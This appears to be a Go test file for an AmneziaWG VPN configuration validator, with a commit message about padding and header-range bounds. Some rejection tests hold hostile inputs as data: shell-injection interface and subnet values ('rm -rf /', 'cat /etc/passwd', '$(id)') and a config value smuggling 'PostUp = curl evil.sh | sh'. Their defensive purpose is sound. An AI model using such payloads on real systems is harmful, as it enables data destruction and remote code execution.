Files
Kirill Rudenko 8979072bd9 fix(amneziawg): bound S1-S3 by the receive buffer, reject overlapping H (#6642)
* fix(amneziawg): bound S1-S3 by the receive buffer, reject overlapping H

The native AmneziaWG validator, both Zod schemas, both forms and the docs now
follow the rules amneziawg-go actually enforces.

S1-S3. A padded handshake message is 148+S1, 92+S2 or 64+S3 bytes
(device/send.go). The peer reads each datagram into a [MaxMessageSize]byte
buffer, where MaxMessageSize = MaxSegmentSize (device/pools.go,
constants.go). MaxSegmentSize is 65535 on Linux/Android, 2016 on Windows and
1700 on iOS (device/queueconstants_*.go). The limits are therefore
S1 <= 1552, S2 <= 1608 and S3 <= 1636. Before, S1/S2 allowed 65535, which
iOS peers silently drop, and S3 was capped at 64, a number inherited from the
coinman-dev/3ax-ui port in #6105 with no stated reason. That cap blocked real
configs such as Amnezia Premium's S3=1045. RandomTrailers only tops a packet
up to 500 bytes (DefaultUdpWindow), so it never pushes a message past these
limits.

H1-H4. amneziawg-go refuses the whole device when the header ranges overlap
("headers must not overlap", device/uapi.go mergeWithDevice), and so does the
kernel module (src/netlink.c). The panel did not check this, so an inbound
with overlapping ranges saved and then failed to apply. A blank H is never
sent, so the engine keeps its default, WireGuard's own type 1-4; the check
treats blank fields that way. The docs said 1-4 "must not be used". They are
valid and are the engine default, only unobfuscated without a
HeaderProtectionKey. The docs also said amneziawg-go rejects S1+56 == S2. It
does not (IpcSet accepts it). The panel keeps that rule as a fingerprint
guard, and the docs now say so.

Tests: the new params_test cases and the Zod bounds fail on the old code.
TestValidatedObfuscationAlwaysApplies runs every accepted set through a real
amneziawg-go IpcSet and now covers overlap, blank-H defaults, H=1-4, the
exact S bounds and the full Amnezia Premium set. Before this fix it failed
with "headers must not overlap".

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* fix(amneziawg): bound only inbound padding by the iOS receive buffer

The 1700-byte iOS buffer limits what an inbound's clients can receive,
but ValidateObfuscation also runs for outbounds, and the Xray template
save re-validates every AmneziaWG outbound. An outbound whose remote
server uses S1 above 1552 would have blocked every Xray settings save,
though its values come from that server and are received on Linux.

ValidateObfuscation keeps amneziawg-go's uint16 UAPI width for S1-S3;
ValidateServerObfuscation adds the receive-buffer bounds and is what
inbounds call. The outbound schema and form follow the same split.

---------

Co-authored-by: Kirill Rudenko <rudenko@npp-energy.ru>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
Co-authored-by: Sanaei <ho3ein.sanaei@gmail.com>
2026-09-26 22:02:49 +02:00

532 lines
18 KiB
Go

package amneziawg
import (
"encoding/base64"
"strconv"
"strings"
"testing"
)
func TestGenerateObfuscation31DefaultRanges(t *testing.T) {
for range 200 {
o := GenerateObfuscation31()
if o.Jc < 3 || o.Jc > 6 {
t.Fatalf("Jc = %d, want [3,6]", o.Jc)
}
if o.Jmin < 40 || o.Jmin > 89 {
t.Fatalf("Jmin = %d, want [40,89]", o.Jmin)
}
if o.Jmax < o.Jmin+50 || o.Jmax > o.Jmin+250 {
t.Fatalf("Jmax = %d, want [Jmin+50, Jmin+250] (Jmin=%d)", o.Jmax, o.Jmin)
}
if o.S1 < 15 || o.S1 > 150 {
t.Fatalf("S1 = %d, want [15,150]", o.S1)
}
if o.S2 < 15 || o.S2 > 150 {
t.Fatalf("S2 = %d, want [15,150]", o.S2)
}
if o.S1+56 == o.S2 {
t.Fatalf("S1+56 == S2 (%d+56 == %d): violates kernel constraint", o.S1, o.S2)
}
if o.S3 < 12 || o.S3 > 55 {
t.Fatalf("S3 = %d, want [12,55]", o.S3)
}
if o.S4 < 12 || o.S4 > 27 {
t.Fatalf("S4 = %d, want [12,27]", o.S4)
}
if o.HeaderProtectionKey != "" {
if err := ValidateObfuscation(o); err != nil {
t.Fatalf("generated set failed its own validation: %v", err)
}
}
for name, h := range map[string]string{"H1": o.H1, "H2": o.H2, "H3": o.H3, "H4": o.H4} {
if err := validateUintRange(h, 0); err != nil {
t.Fatalf("%s = %q invalid: %v", name, h, err)
}
if h == "" {
t.Fatalf("%s is empty, want a generated range", name)
}
}
if !strings.HasPrefix(o.I1, "<r ") || !strings.HasSuffix(o.I1, ">") {
t.Fatalf("I1 = %q, want \"<r N>\" form", o.I1)
}
n, err := strconv.Atoi(strings.TrimSuffix(strings.TrimPrefix(o.I1, "<r "), ">"))
if err != nil || n < 32 || n > 256 {
t.Fatalf("I1 = %q, embedded N must be an integer in [32,256]", o.I1)
}
for name, v := range map[string]string{"I2": o.I2, "I3": o.I3, "I4": o.I4, "I5": o.I5} {
if v != "" {
t.Fatalf("%s = %q, generated sets must leave I2-I5 empty", name, v)
}
}
key, err := base64.StdEncoding.DecodeString(o.HeaderProtectionKey)
if err != nil || len(key) != 32 {
t.Fatalf("HeaderProtectionKey = %q, must be base64 of 32 bytes (err=%v)", o.HeaderProtectionKey, err)
}
assertRangeWithin(t, "ContentPaddingAddition", o.ContentPaddingAddition, 8, 64)
rkLo, rkHi := assertRangeWithin(t, "RekeyAfterTime", o.RekeyAfterTime, 100, 160)
if rkHi-rkLo < 10 || rkHi-rkLo > 40 {
t.Fatalf("RekeyAfterTime = %q, width must be in [10,40]", o.RekeyAfterTime)
}
rjLo, _ := assertRangeWithin(t, "RejectAfterTime", o.RejectAfterTime, 130, 310)
if rjLo < rkHi+30 {
t.Fatalf("RejectAfterTime = %q must start >= 30s above RekeyAfterTime max %d", o.RejectAfterTime, rkHi)
}
assertRangeWithin(t, "RekeyTimeout", o.RekeyTimeout, 3, 10)
assertRangeWithin(t, "KeepaliveTimeout", o.KeepaliveTimeout, 8, 20)
assertRangeWithin(t, "MaxHandshakeAttempts", o.MaxHandshakeAttempts, 15, 50)
if !o.RandomTrailers || !o.DisableCookies {
t.Fatalf("RandomTrailers/DisableCookies = %v/%v, generated sets default both on", o.RandomTrailers, o.DisableCookies)
}
}
}
// assertRangeWithin parses a "lo-hi" value and fails unless
// min <= lo <= hi <= max, returning the parsed bounds.
func assertRangeWithin(t *testing.T, name, v string, min, max int64) (lo, hi int64) {
t.Helper()
lo, hi, ok := parseUintRange(v)
if !ok || !strings.Contains(v, "-") {
t.Fatalf("%s = %q, want a lo-hi range", name, v)
}
if lo < min || hi > max || lo > hi {
t.Fatalf("%s = %q, want %d <= lo <= hi <= %d", name, v, min, max)
}
return lo, hi
}
func TestGenerateHValuesDistinct(t *testing.T) {
for range 50 {
h := generateHValues()
var prev int64
for i, v := range h {
n, err := strconv.ParseInt(v, 10, 64)
if err != nil {
t.Fatalf("H%d = %q is not a plain integer: %v", i+1, v, err)
}
if n <= prev {
t.Fatalf("H%d = %q is not strictly greater than the previous value (%d)", i+1, v, prev)
}
prev = n
}
}
}
func validObfuscation() Obfuscation31 {
return GenerateObfuscation31()
}
func TestValidateObfuscationAcceptsGenerated(t *testing.T) {
for range 50 {
if err := ValidateObfuscation(validObfuscation()); err != nil {
t.Fatalf("generated obfuscation set rejected: %v", err)
}
}
}
func TestValidateObfuscationAcceptsBlankH(t *testing.T) {
o := validObfuscation()
o.H1, o.H2, o.H3, o.H4 = "", "", "", ""
if err := ValidateObfuscation(o); err != nil {
t.Fatalf("blank H values should be allowed (fall back to defaults): %v", err)
}
}
func TestValidateObfuscationRejectsBadJminJmax(t *testing.T) {
o := validObfuscation()
o.Jmin, o.Jmax = 50, 10
if err := ValidateObfuscation(o); err == nil {
t.Fatal("Jmin > Jmax must be rejected")
}
}
func TestValidateObfuscationRejectsBadS3S4(t *testing.T) {
o := validObfuscation()
o.S3 = 65536
if err := ValidateObfuscation(o); err == nil {
t.Fatal("S3 past uint16 must be rejected: amneziawg-go's UAPI parser refuses it")
}
o = validObfuscation()
o.S4 = 33
if err := ValidateObfuscation(o); err == nil {
t.Fatal("S4 > 32 must be rejected")
}
o = validObfuscation()
o.S3, o.S4 = -1, -1
if err := ValidateObfuscation(o); err == nil {
t.Fatal("negative S3/S4 must be rejected")
}
}
// Amnezia Premium ships S3=1045; 1636 is the largest cookie padding every platform can receive.
func TestValidateServerObfuscationAcceptsLargeS3(t *testing.T) {
for _, s3 := range []int{1045, 1636} {
o := validObfuscation()
o.S3 = s3
if err := ValidateServerObfuscation(o); err != nil {
t.Fatalf("S3=%d must be accepted: %v", s3, err)
}
}
}
func TestValidateObfuscationRejectsLowSWithHeaderProtection(t *testing.T) {
for field, set := range map[string]func(o *Obfuscation31){
"S1": func(o *Obfuscation31) { o.S1 = 11 },
"S2": func(o *Obfuscation31) { o.S2 = 11 },
"S3": func(o *Obfuscation31) { o.S3 = 11 },
"S4": func(o *Obfuscation31) { o.S4 = 11 },
} {
o := validObfuscation()
set(&o)
if err := ValidateObfuscation(o); err == nil {
t.Fatalf("%s = 11 with a header protection key set must be rejected", field)
}
}
o := validObfuscation()
o.HeaderProtectionKey = ""
o.S3, o.S4 = 8, 4
if err := ValidateObfuscation(o); err != nil {
t.Fatalf("S3/S4 below 12 with no header protection key must be accepted: %v", err)
}
}
func TestValidateObfuscationRejectsS1S2Collision(t *testing.T) {
o := validObfuscation()
o.S1 = 30
o.S2 = o.S1 + 56
if err := ValidateObfuscation(o); err == nil {
t.Fatal("S1+56 == S2 must be rejected (kernel constraint)")
}
}
func TestValidateObfuscationRejectsBadH(t *testing.T) {
cases := []string{"not-a-number", "10-", "-10", "5-4", "-1-10"}
for _, h := range cases {
o := validObfuscation()
o.H1 = h
if err := ValidateObfuscation(o); err == nil {
t.Fatalf("H1 = %q must be rejected", h)
}
}
}
func TestValidateObfuscationAcceptsEmpty31Fields(t *testing.T) {
o := validObfuscation()
o.HeaderProtectionKey = ""
o.ContentPaddingAddition = ""
o.RekeyAfterTime, o.RekeyTimeout, o.RejectAfterTime = "", "", ""
o.KeepaliveTimeout, o.MaxHandshakeAttempts = "", ""
o.RandomTrailers, o.DisableCookies = false, false
if err := ValidateObfuscation(o); err != nil {
t.Fatalf("all-empty 3.1 fields must be accepted (features off): %v", err)
}
}
func TestValidateObfuscationRejectsBadTimingRanges(t *testing.T) {
cases := []struct {
name string
mutate func(o *Obfuscation31)
}{
{"zero rekeyTimeout", func(o *Obfuscation31) { o.RekeyTimeout = "0" }},
{"zero-low range", func(o *Obfuscation31) { o.KeepaliveTimeout = "0-10" }},
{"inverted range", func(o *Obfuscation31) { o.RekeyAfterTime = "160-100" }},
{"non-numeric", func(o *Obfuscation31) { o.MaxHandshakeAttempts = "many" }},
{"trailing dash", func(o *Obfuscation31) { o.RejectAfterTime = "200-" }},
{"rekey max not below reject min", func(o *Obfuscation31) {
o.RekeyAfterTime = "100-200"
o.RejectAfterTime = "200-300"
}},
{"single rekey value at reject min", func(o *Obfuscation31) {
o.RekeyAfterTime = "180"
o.RejectAfterTime = "180-300"
}},
{"embedded newline splits the config line", func(o *Obfuscation31) {
o.RekeyAfterTime = "110\n-140"
o.RejectAfterTime = "190-250"
}},
{"reject alone below the 120s default rekey", func(o *Obfuscation31) {
o.RekeyAfterTime = ""
o.RejectAfterTime = "30-60"
}},
{"rekey alone above the 180s default reject", func(o *Obfuscation31) {
o.RekeyAfterTime = "200-300"
o.RejectAfterTime = ""
}},
}
for _, c := range cases {
o := validObfuscation()
c.mutate(&o)
if err := ValidateObfuscation(o); err == nil {
t.Errorf("%s must be rejected", c.name)
}
}
}
func TestValidateObfuscationRejectsBadHeaderProtectionKey(t *testing.T) {
cases := []struct {
name string
key string
}{
{"not base64", "not!!!base64"},
{"16-byte key", base64.StdEncoding.EncodeToString(make([]byte, 16))},
{"33-byte key", base64.StdEncoding.EncodeToString(make([]byte, 33))},
{"control characters", "AAAA\nBBBB"},
// DecodeString IGNORES \r\n, so this decodes to a valid 32 bytes —
// only the explicit control-character check can catch the line wrap.
{"line-wrapped but decodable key", "MCPfRGcDGotJ6Tcn\r\nIdDqsemj2cMIiGHnPUHM5ivXN18="},
}
for _, c := range cases {
o := validObfuscation()
o.HeaderProtectionKey = c.key
if err := ValidateObfuscation(o); err == nil {
t.Errorf("headerProtectionKey %s (%q) must be rejected", c.name, c.key)
}
}
}
func TestCanonicalizeUintRange(t *testing.T) {
cases := []struct{ in, want string }{
{"110 - 140", "110-140"},
{" 120 ", "120"},
{" ", ""},
{"", ""},
{"110-140", "110-140"},
}
for _, c := range cases {
if got := CanonicalizeUintRange(c.in); got != c.want {
t.Errorf("CanonicalizeUintRange(%q) = %q, want %q", c.in, got, c.want)
}
}
}
func TestValidateObfuscationAcceptsSingleValueRanges(t *testing.T) {
o := validObfuscation()
o.ContentPaddingAddition = "32"
o.RekeyAfterTime = "120"
o.RejectAfterTime = "180"
if err := ValidateObfuscation(o); err != nil {
t.Fatalf("single-integer values must be accepted like the awg parser does: %v", err)
}
}
func TestValidateInterfaceNameAcceptsBlankAndPlausibleNames(t *testing.T) {
for _, name := range []string{"", "eth0", "wg0", "br-lan", "eno1.100", "veth1a2b3c", "eth0:0"} {
if err := ValidateInterfaceName(name); err != nil {
t.Errorf("ValidateInterfaceName(%q) rejected a plausible name: %v", name, err)
}
}
}
func TestValidateInterfaceNameRejectsShellMetacharactersAndOverlength(t *testing.T) {
cases := []string{
"eth0 -j ACCEPT; rm -rf /",
"eth0`whoami`",
"eth0$(id)",
"eth0|cat /etc/passwd",
"eth0\nMASQUERADE",
"aaaaaaaaaaaaaaaaaaaa", // 20 chars, over IFNAMSIZ-1
}
for _, name := range cases {
if err := ValidateInterfaceName(name); err == nil {
t.Errorf("ValidateInterfaceName(%q) must be rejected", name)
}
}
}
func TestValidateSubnetIPv4AcceptsValidBases(t *testing.T) {
cases := []struct {
ip string
cidr int
}{
{"10.8.1.0", 24},
{"10.8.1.0", 0}, // cidr <= 0 defaults to /24, mirroring serverAddress
{"192.168.5.10", 32},
}
for _, c := range cases {
if err := ValidateSubnetIPv4(c.ip, c.cidr); err != nil {
t.Errorf("ValidateSubnetIPv4(%q, %d) rejected a valid subnet: %v", c.ip, c.cidr, err)
}
}
}
func TestValidateSubnetIPv4RejectsMalformedOrInjectedValues(t *testing.T) {
cases := []struct {
ip string
cidr int
}{
{"10.8.1.0 -j ACCEPT; rm -rf /", 24}, // shell injection attempt
{"not-an-ip", 24},
{"", 24},
{"fd86::1", 64}, // IPv6, not IPv4
{"10.8.1.0", 33}, // cidr out of range
}
for _, c := range cases {
if err := ValidateSubnetIPv4(c.ip, c.cidr); err == nil {
t.Errorf("ValidateSubnetIPv4(%q, %d) must be rejected", c.ip, c.cidr)
}
}
}
func TestValidateConfigValueAcceptsPlausibleValues(t *testing.T) {
for _, v := range []string{"", "user@example.com", "MCPfRGcDGotJ6TcnIdDqsemj2cMIiGHnPUHM5ivXN18=", "<r 148>"} {
if err := ValidateConfigValue("email", v); err != nil {
t.Errorf("ValidateConfigValue(%q) rejected a plausible value: %v", v, err)
}
}
}
func TestValidateConfigValueRejectsControlCharacters(t *testing.T) {
cases := []string{
"a@x\nPostUp = curl evil.sh | sh",
"a@x\r\n[Interface]",
"tab\there",
"a@x\x7f",
}
for _, v := range cases {
if err := ValidateConfigValue("email", v); err == nil {
t.Errorf("ValidateConfigValue(%q) must be rejected", v)
}
}
}
// The plain 1420 default left no headroom for s4: it put full-size packets at
// 1480+S4 on the wire and fragmented every one of them once S4 passed 20.
func TestEffectiveMTUKeepsFullSizePacketsUnfragmented(t *testing.T) {
t.Parallel()
// 20 IPv4 + 8 UDP + 16 transport header + 16 poly1305 tag.
const encapOverhead = 60
const hostLinkMTU = 1500
for s4 := 0; s4 <= 32; s4++ {
mtu := EffectiveMTU(0, s4)
if wire := mtu + encapOverhead + s4; wire > hostLinkMTU {
t.Errorf("s4=%d: MTU %d puts a full-size transport packet at %d bytes on the wire, over the %d-byte host link", s4, mtu, wire, hostLinkMTU)
}
}
}
// TestEffectiveMTUPrefersTheAdminsValue: the S4-aware default is a fallback,
// not an override -- an explicit MTU must survive untouched.
func TestEffectiveMTUPrefersTheAdminsValue(t *testing.T) {
t.Parallel()
if got := EffectiveMTU(1380, 27); got != 1380 {
t.Errorf("EffectiveMTU(1380, 27) = %d, want the configured 1380", got)
}
if got := EffectiveMTU(0, 27); got != DefaultMTU-27 {
t.Errorf("EffectiveMTU(0, 27) = %d, want %d", got, DefaultMTU-27)
}
if got := EffectiveMTU(0, 0); got != DefaultMTU {
t.Errorf("EffectiveMTU(0, 0) = %d, want %d", got, DefaultMTU)
}
if got := EffectiveMTU(-5, 12); got != DefaultMTU-12 {
t.Errorf("a nonsense configured MTU must fall back, got %d", got)
}
}
// TestValidateObfuscationRejectsOutOfRangeJunkAndPadding pins the widths
// amneziawg-go's UAPI actually parses: uint32 for jc/jmin/jmax, uint16 for s1-s3.
func TestValidateObfuscationRejectsOutOfRangeJunkAndPadding(t *testing.T) {
base := Obfuscation31{Jc: 4, Jmin: 40, Jmax: 70, S1: 20, S2: 30, S3: 20, S4: 20}
tests := []struct {
name string
mut func(*Obfuscation31)
}{
{"S1 over uint16", func(o *Obfuscation31) { o.S1 = 65536 }},
{"S2 over uint16", func(o *Obfuscation31) { o.S2 = 70000 }},
{"negative Jc", func(o *Obfuscation31) { o.Jc = -1 }},
{"negative Jmin and Jmax", func(o *Obfuscation31) { o.Jmin, o.Jmax = -5, -1 }},
{"Jc over uint32", func(o *Obfuscation31) { o.Jc = 5000000000 }},
{"negative S1", func(o *Obfuscation31) { o.S1 = -1 }},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
o := base
tt.mut(&o)
if err := ValidateObfuscation(o); err == nil {
t.Fatal("ValidateObfuscation accepted a value amneziawg-go's UAPI parser rejects, so the inbound would save and then fail to apply")
}
})
}
if err := ValidateObfuscation(Obfuscation31{Jc: 4, Jmin: 40, Jmax: 70, S1: 65535, S2: 30, S3: 20, S4: 20}); err != nil {
t.Fatalf("S1 at the uint16 maximum must stay valid for an outbound: %v", err)
}
}
// An inbound's handshakes must fit iOS's 1700-byte buffer: 148+S1, 92+S2 and 64+S3.
func TestValidateServerObfuscationBoundsHandshakesByTheIOSBuffer(t *testing.T) {
base := Obfuscation31{Jc: 4, Jmin: 40, Jmax: 70, S1: 20, S2: 30, S3: 20, S4: 20}
for name, mut := range map[string]func(*Obfuscation31){
"S1 init over 1700 bytes": func(o *Obfuscation31) { o.S1 = 1553 },
"S2 response over 1700 bytes": func(o *Obfuscation31) { o.S2 = 1609 },
"S3 cookie over 1700 bytes": func(o *Obfuscation31) { o.S3 = 1637 },
} {
o := base
mut(&o)
if err := ValidateServerObfuscation(o); err == nil {
t.Fatalf("%s: an iOS client could never receive it, so the inbound must not save", name)
}
}
// 148+1552 and 92+1608 are exactly 1700; Amnezia Premium ships S1=284 S2=659.
for _, s := range [][2]int{{1552, 30}, {20, 1608}, {284, 659}} {
if err := ValidateServerObfuscation(Obfuscation31{Jc: 4, Jmin: 40, Jmax: 70, S1: s[0], S2: s[1], S3: 20, S4: 20}); err != nil {
t.Fatalf("S1=%d S2=%d must stay valid: %v", s[0], s[1], err)
}
}
}
// amneziawg-go refuses the whole device when H1-H4 overlap ("headers must not overlap",
// device/uapi.go); 1-4 alone are legal and the engine's own default.
func TestValidateObfuscationHOverlap(t *testing.T) {
base := Obfuscation31{Jc: 4, Jmin: 40, Jmax: 70, S1: 20, S2: 30, S3: 20, S4: 20}
reject := [][4]string{
{"100-200", "150-300", "400", "500"},
{"7", "7", "8", "9"},
{"3", "", "", ""}, // blank H3 keeps the engine default 3
}
for _, h := range reject {
o := base
o.H1, o.H2, o.H3, o.H4 = h[0], h[1], h[2], h[3]
if err := ValidateObfuscation(o); err == nil {
t.Fatalf("H=%v overlaps, amneziawg-go rejects it, so the inbound must not save", h)
}
}
accept := [][4]string{{"1", "2", "3", "4"}, {"", "", "", ""}, {"5-10", "11-20", "21", "22-30"}}
for _, h := range accept {
o := base
o.H1, o.H2, o.H3, o.H4 = h[0], h[1], h[2], h[3]
if err := ValidateObfuscation(o); err != nil {
t.Fatalf("H=%v must be accepted: %v", h, err)
}
}
}
// TestValidateObfuscationRejectsMalformedSignaturePackets covers I1-I5, whose
// "<tag value>" chain amneziawg-go parses with newObfChain (device/obf.go).
func TestValidateObfuscationRejectsMalformedSignaturePackets(t *testing.T) {
base := Obfuscation31{Jc: 4, Jmin: 40, Jmax: 70, S1: 20, S2: 30, S3: 20, S4: 20}
bad := []string{"<rand 100>", "<r 100", "<>", "< >", "<r 10><nope 2>"}
for _, spec := range bad {
t.Run("reject "+spec, func(t *testing.T) {
o := base
o.I1 = spec
if err := ValidateObfuscation(o); err == nil {
t.Fatalf("ValidateObfuscation accepted I1=%q, which newObfChain rejects", spec)
}
})
}
good := []string{"", "<r 100>", "<b ff00><r 10>", "<t><rc 5>", "no tags at all"}
for _, spec := range good {
t.Run("accept "+spec, func(t *testing.T) {
o := base
o.I5 = spec
if err := ValidateObfuscation(o); err != nil {
t.Fatalf("ValidateObfuscation rejected valid I5=%q: %v", spec, err)
}
})
}
}